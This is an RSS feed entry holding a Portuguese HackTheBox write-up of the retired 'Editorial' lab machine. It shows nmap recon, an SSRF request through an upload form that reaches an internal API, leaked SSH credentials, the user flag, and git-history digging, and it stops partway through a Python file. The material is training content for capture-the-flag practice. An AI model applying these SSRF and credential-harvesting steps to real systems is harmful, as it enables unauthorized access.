<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Guilherme Martins</title>
    <description>The latest articles on DEV Community by Guilherme Martins (@mrtnsgs).</description>
    <link>https://dev.to/mrtnsgs</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1213260%2F4282190d-692e-41d8-a589-c57b8826c0ac.png</url>
      <title>DEV Community: Guilherme Martins</title>
      <link>https://dev.to/mrtnsgs</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mrtnsgs"/>
    <language>en</language>
    <item>
      <title>HackTheBox - Writeup Editorial [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sat, 19 Oct 2024 19:50:30 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-editorial-retired-2pcn</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-editorial-retired-2pcn</guid>
      <description>&lt;p&gt;Neste writeup iremos explorar uma máquina easy linux chamada Editorial. Esta máquina explora as seguintes vulnerabilidades e técnicas de exploração:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Server-side request forgery (SSRF)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Information Leaked&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git hacktricks&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2022-24439 - Remote Code Execution (RCE)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Recon e user flag
&lt;/h3&gt;

&lt;p&gt;Vamos iniciar realizando uma varredura em nosso alvo a procure de portas abertas utilizando nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.115.37
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2024-06-15 15:06 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.115.37 &lt;span class="o"&gt;(&lt;/span&gt;10.129.115.37&lt;span class="o"&gt;)&lt;/span&gt;
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.15s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Temos a porta 22 rodando o ssh e a porta 80 rodando um servidor http.&lt;br&gt;
Acessando a porta 80 através do ip somos redirecionados para editorial.htb, vamos adicionar esse host em nosso /etc/hosts.&lt;/p&gt;

&lt;p&gt;Com isso conseguimos acessar o seguinte conteúdo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9pt78og506s1i9ie7tev.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9pt78og506s1i9ie7tev.png" alt="editorial" width="800" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O site se trata de uma editora de livros. Dentre as opções disponíveis encontramos a seguinte página:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6xzjiy1anqm2wjf4fgej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6xzjiy1anqm2wjf4fgej.png" alt="Upload page" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aqui conseguimos enviar livros para que sejam enviados livros para a editora. O envio pode ser feito de duas formas, realizando o upload de um arquivo localmente ou através de uma url.&lt;/p&gt;

&lt;p&gt;Ao enviar um arquivo somos redirecionados para um endpoint similar a este:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;http://editorial.htb/static/uploads/0483497c-293d-44a4-87af-46a85f20cb60&lt;/code&gt; 
Acessando a url é feito o download do arquivo que enviamos anteriormente em forma de pdf.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Analisando as duas opções encontramos um &lt;strong&gt;SSRF&lt;/strong&gt; ao informar um url local, enviando a seguinte url como payload: &lt;code&gt;http://127.0.0.1:5000&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Com isso realizamos o download do arquivo e temos o seguinte conteúdo em formato &lt;strong&gt;json&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq &lt;span class="nb"&gt;.&lt;/span&gt; requests-result/0483497c-293d-44a4-87af-46a85f20cb60
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"messages"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"promotions"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Retrieve a list of all the promotions in our library."&lt;/span&gt;,
        &lt;span class="s2"&gt;"endpoint"&lt;/span&gt;: &lt;span class="s2"&gt;"/api/latest/metadata/messages/promos"&lt;/span&gt;,
        &lt;span class="s2"&gt;"methods"&lt;/span&gt;: &lt;span class="s2"&gt;"GET"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"coupons"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Retrieve the list of coupons to use in our library."&lt;/span&gt;,
        &lt;span class="s2"&gt;"endpoint"&lt;/span&gt;: &lt;span class="s2"&gt;"/api/latest/metadata/messages/coupons"&lt;/span&gt;,
        &lt;span class="s2"&gt;"methods"&lt;/span&gt;: &lt;span class="s2"&gt;"GET"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"new_authors"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Retrieve the welcome message sended to our new authors."&lt;/span&gt;,
        &lt;span class="s2"&gt;"endpoint"&lt;/span&gt;: &lt;span class="s2"&gt;"/api/latest/metadata/messages/authors"&lt;/span&gt;,
        &lt;span class="s2"&gt;"methods"&lt;/span&gt;: &lt;span class="s2"&gt;"GET"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"platform_use"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Retrieve examples of how to use the platform."&lt;/span&gt;,
        &lt;span class="s2"&gt;"endpoint"&lt;/span&gt;: &lt;span class="s2"&gt;"/api/latest/metadata/messages/how_to_use_platform"&lt;/span&gt;,
        &lt;span class="s2"&gt;"methods"&lt;/span&gt;: &lt;span class="s2"&gt;"GET"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;]&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"changelog"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Retrieve a list of all the versions and updates of the api."&lt;/span&gt;,
        &lt;span class="s2"&gt;"endpoint"&lt;/span&gt;: &lt;span class="s2"&gt;"/api/latest/metadata/changelog"&lt;/span&gt;,
        &lt;span class="s2"&gt;"methods"&lt;/span&gt;: &lt;span class="s2"&gt;"GET"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"latest"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Retrieve the last version of api."&lt;/span&gt;,
        &lt;span class="s2"&gt;"endpoint"&lt;/span&gt;: &lt;span class="s2"&gt;"/api/latest/metadata"&lt;/span&gt;,
        &lt;span class="s2"&gt;"methods"&lt;/span&gt;: &lt;span class="s2"&gt;"GET"&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos diversos endpoints que podemos explorar, para isso vamos utilizar o burp suite (que ja esta sendo executado em background) para realizar novas requisições.&lt;br&gt;
Vamos focar inicialmente no endpoint &lt;strong&gt;/api/latest/metadata/messages/authors&lt;/strong&gt; que tem a seguinte função: &lt;strong&gt;Retrieve the welcome message sended to our new authors&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 &lt;span class="o"&gt;(&lt;/span&gt;X11&lt;span class="p"&gt;;&lt;/span&gt; Linux x86_64&lt;span class="p"&gt;;&lt;/span&gt; rv:102.0&lt;span class="o"&gt;)&lt;/span&gt; Gecko/20100101 Firefox/102.0
Accept: &lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;
Accept-Language: en-US,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.5
Accept-Encoding: &lt;span class="nb"&gt;gzip&lt;/span&gt;, deflate, br
Content-Type: multipart/form-data&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;---------------------------346249403126403154753644150452&lt;/span&gt;
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

&lt;span class="nt"&gt;-----------------------------346249403126403154753644150452&lt;/span&gt;
Content-Disposition: form-data&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"bookurl"&lt;/span&gt;

http://127.0.0.1:5000/api/latest/metadata/messages/authors
&lt;span class="nt"&gt;-----------------------------346249403126403154753644150452&lt;/span&gt;
Content-Disposition: form-data&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"bookfile"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;
Content-Type: application/octet-stream


&lt;span class="nt"&gt;-----------------------------346249403126403154753644150452--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso temos o seguinte retorno:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx/1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Date: Sat, 22 Jun 2024 11:53:31 GMT
Content-Type: text/html&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;utf-8
Connection: close
Content-Length: 51

static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora vamos realizar um get request para este endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 &lt;span class="o"&gt;(&lt;/span&gt;X11&lt;span class="p"&gt;;&lt;/span&gt; Linux x86_64&lt;span class="p"&gt;;&lt;/span&gt; rv:102.0&lt;span class="o"&gt;)&lt;/span&gt; Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,&lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;
Accept-Language: en-US,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.5
Accept-Encoding: &lt;span class="nb"&gt;gzip&lt;/span&gt;, deflate, br
Connection: close
Referer: http://editorial.htb/upload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim temos o seguinte retorno:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx/1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: &lt;span class="s2"&gt;"1719057211.219647-506-4209449183"&lt;/span&gt;

&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"template_mail_message"&lt;/span&gt;:&lt;span class="s2"&gt;"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;Your login credentials for our internal forum and authors site are:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Username: dev&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Password: dev080217_devAPI!@&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Please be sure to change your password as soon as possible for security purposes.&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;Best regards, Editorial Tiempo Arriba Team."&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Temos novamente um retorno em formato json. Neste temos uma mensagem de boas vindas para novos autores e também um usuário e senha:&lt;br&gt;
&lt;strong&gt;Username:&lt;/strong&gt; dev&lt;br&gt;
&lt;strong&gt;Password:&lt;/strong&gt; dev080217_devAPI!@&lt;/p&gt;

&lt;p&gt;Com este usuário e senha conseguimos acesso ssh ao nosso alvo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali]
└─# ssh dev@editorial.htb
The authenticity of host &lt;span class="s1"&gt;'editorial.htb (10.129.101.138)'&lt;/span&gt; can&lt;span class="s1"&gt;'t be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '&lt;/span&gt;editorial.htb&lt;span class="s1"&gt;' (ED25519) to the list of known hosts.
dev@editorial.htb'&lt;/span&gt;s password:
Welcome to Ubuntu 22.04.4 LTS &lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux 5.15.0-112-generic x86_64&lt;span class="o"&gt;)&lt;/span&gt;

 &lt;span class="k"&gt;*&lt;/span&gt; Documentation:  https://help.ubuntu.com
 &lt;span class="k"&gt;*&lt;/span&gt; Management:     https://landscape.canonical.com
 &lt;span class="k"&gt;*&lt;/span&gt; Support:        https://ubuntu.com/pro

 System information as of Sat Jun 22 11:54:05 AM UTC 2024

  System load:           0.0
  Usage of /:            60.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged &lt;span class="k"&gt;in&lt;/span&gt;:       0
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;eth0: 10.129.101.138
  IPv6 address &lt;span class="k"&gt;for &lt;/span&gt;eth0: dead:beef::250:56ff:feb0:6c4b


Expanded Security Maintenance &lt;span class="k"&gt;for &lt;/span&gt;Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: &lt;span class="nb"&gt;sudo &lt;/span&gt;pro status


The list of available updates is more than a week old.
To check &lt;span class="k"&gt;for &lt;/span&gt;new updates run: &lt;span class="nb"&gt;sudo &lt;/span&gt;apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E com este usuário conseguimos a user flag!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dev@editorial:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  apps  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
dev@editorial:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
389072ccb7be77e63a1590defe01750e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h3&gt;

&lt;p&gt;No diretório home do usuário &lt;strong&gt;dev&lt;/strong&gt; temos um diretório chamado &lt;strong&gt;apps&lt;/strong&gt;. Acessando este diretório temos o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dev@editorial:~/apps&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 12K
drwxrwxr-x 3 dev dev 4.0K Jun  5 14:36 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-x--- 4 dev dev 4.0K Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4.0K Jun  5 14:36 .git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Existe somente um diretório chamado .git. O diretório .git registra todas as alterações em um projeto, registrando toda a história do projeto.&lt;br&gt;
Com isso conseguimos visualizar o histórico de commits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dev@editorial:~/apps&lt;span class="nv"&gt;$ &lt;/span&gt;git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 &lt;span class="o"&gt;(&lt;/span&gt;HEAD -&amp;gt; master&lt;span class="o"&gt;)&lt;/span&gt;
Author: dev-carlos.valderrama &amp;lt;dev-carlos.valderrama@tiempoarriba.htb&amp;gt;
Date:   Sun Apr 30 21:04:21 2023 &lt;span class="nt"&gt;-0500&lt;/span&gt;

    fix: bugfix &lt;span class="k"&gt;in &lt;/span&gt;api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama &amp;lt;dev-carlos.valderrama@tiempoarriba.htb&amp;gt;
Date:   Sun Apr 30 21:01:11 2023 &lt;span class="nt"&gt;-0500&lt;/span&gt;

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama &amp;lt;dev-carlos.valderrama@tiempoarriba.htb&amp;gt;
Date:   Sun Apr 30 20:55:08 2023 &lt;span class="nt"&gt;-0500&lt;/span&gt;

    change&lt;span class="o"&gt;(&lt;/span&gt;api&lt;span class="o"&gt;)&lt;/span&gt;: downgrading prod to dev

    &lt;span class="k"&gt;*&lt;/span&gt; To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama &amp;lt;dev-carlos.valderrama@tiempoarriba.htb&amp;gt;
Date:   Sun Apr 30 20:51:10 2023 &lt;span class="nt"&gt;-0500&lt;/span&gt;

    feat: create api to editorial info

    &lt;span class="k"&gt;*&lt;/span&gt; It &lt;span class="o"&gt;(&lt;/span&gt;will&lt;span class="o"&gt;)&lt;/span&gt; contains internal info about the editorial, this &lt;span class="nb"&gt;enable
       &lt;/span&gt;faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama &amp;lt;dev-carlos.valderrama@tiempoarriba.htb&amp;gt;
Date:   Sun Apr 30 20:48:43 2023 &lt;span class="nt"&gt;-0500&lt;/span&gt;

    feat: create editorial app

    &lt;span class="k"&gt;*&lt;/span&gt; This contains the base of this project.
    &lt;span class="k"&gt;*&lt;/span&gt; Also we add a feature to &lt;span class="nb"&gt;enable &lt;/span&gt;to external authors send us their
       books and validate a future post &lt;span class="k"&gt;in &lt;/span&gt;our editorial.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dentre os commits existe o seguinte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama &amp;lt;dev-carlos.valderrama@tiempoarriba.htb&amp;gt;
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foi feito um downgrade dos dados de produção para desenvolvimento, aqui podemos encontrar informações importantes.&lt;br&gt;
Para visualizar o conteúdo deste commit vamos utilizar o comando &lt;strong&gt;&lt;em&gt;git revert&lt;/em&gt;&lt;/strong&gt;, que irá reverter as alterações e voltar o projeto para este commit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dev@editorial:~/apps&lt;span class="nv"&gt;$ &lt;/span&gt;git revert b73481bb823d2d
Auto-merging app_api/app.py
&lt;span class="o"&gt;[&lt;/span&gt;master 238ee48] Revert &lt;span class="s2"&gt;"change(api): downgrading prod to dev"&lt;/span&gt;
 1 file changed, 1 insertion&lt;span class="o"&gt;(&lt;/span&gt;+&lt;span class="o"&gt;)&lt;/span&gt;, 1 deletion&lt;span class="o"&gt;(&lt;/span&gt;-&lt;span class="o"&gt;)&lt;/span&gt;
dev@editorial:~/apps&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 16K
drwxrwxr-x 4 dev dev 4.0K Jun 22 12:10 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-x--- 6 dev dev 4.0K Jun 22 12:10 ..
drwxrwxr-x 2 dev dev 4.0K Jun 22 12:10 app_api
drwxr-xr-x 8 dev dev 4.0K Jun 22 12:10 .git
dev@editorial:~/apps&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;app_api/
dev@editorial:~/apps/app_api&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 12K
drwxrwxr-x 2 dev dev 4.0K Jun 22 12:10 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxrwxr-x 4 dev dev 4.0K Jun 22 12:10 ..
&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 dev dev 2.8K Jun 22 12:10 app.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Temos um arquivo chamdo app.py, vamos visualizar o conteúdo dele:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
dev@editorial:~/apps/app_api&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;app.py
&lt;span class="c"&gt;# API (in development).&lt;/span&gt;
&lt;span class="c"&gt;# * To retrieve info about editorial&lt;/span&gt;

import json
from flask import Flask, jsonify

&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# App configuration&lt;/span&gt;
&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
app &lt;span class="o"&gt;=&lt;/span&gt; Flask&lt;span class="o"&gt;(&lt;/span&gt;__name__&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# Global Variables&lt;/span&gt;
&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
api_route &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"/api/latest/metadata"&lt;/span&gt;
api_editorial_name &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Editorial Tiempo Arriba"&lt;/span&gt;
api_editorial_email &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"info@tiempoarriba.htb"&lt;/span&gt;

&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# API routes&lt;/span&gt;
&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# -- : home&lt;/span&gt;
@app.route&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api'&lt;/span&gt;, &lt;span class="nv"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;&lt;span class="s1"&gt;'GET'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;
def index&lt;span class="o"&gt;()&lt;/span&gt;:
    data_editorial &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;'version'&lt;/span&gt;: &lt;span class="o"&gt;[{&lt;/span&gt;
            &lt;span class="s1"&gt;'1'&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s1"&gt;'editorial'&lt;/span&gt;: &lt;span class="s1"&gt;'Editorial El Tiempo Por Arriba'&lt;/span&gt;,
                &lt;span class="s1"&gt;'contact_email_1'&lt;/span&gt;: &lt;span class="s1"&gt;'soporte@tiempoarriba.oc'&lt;/span&gt;,
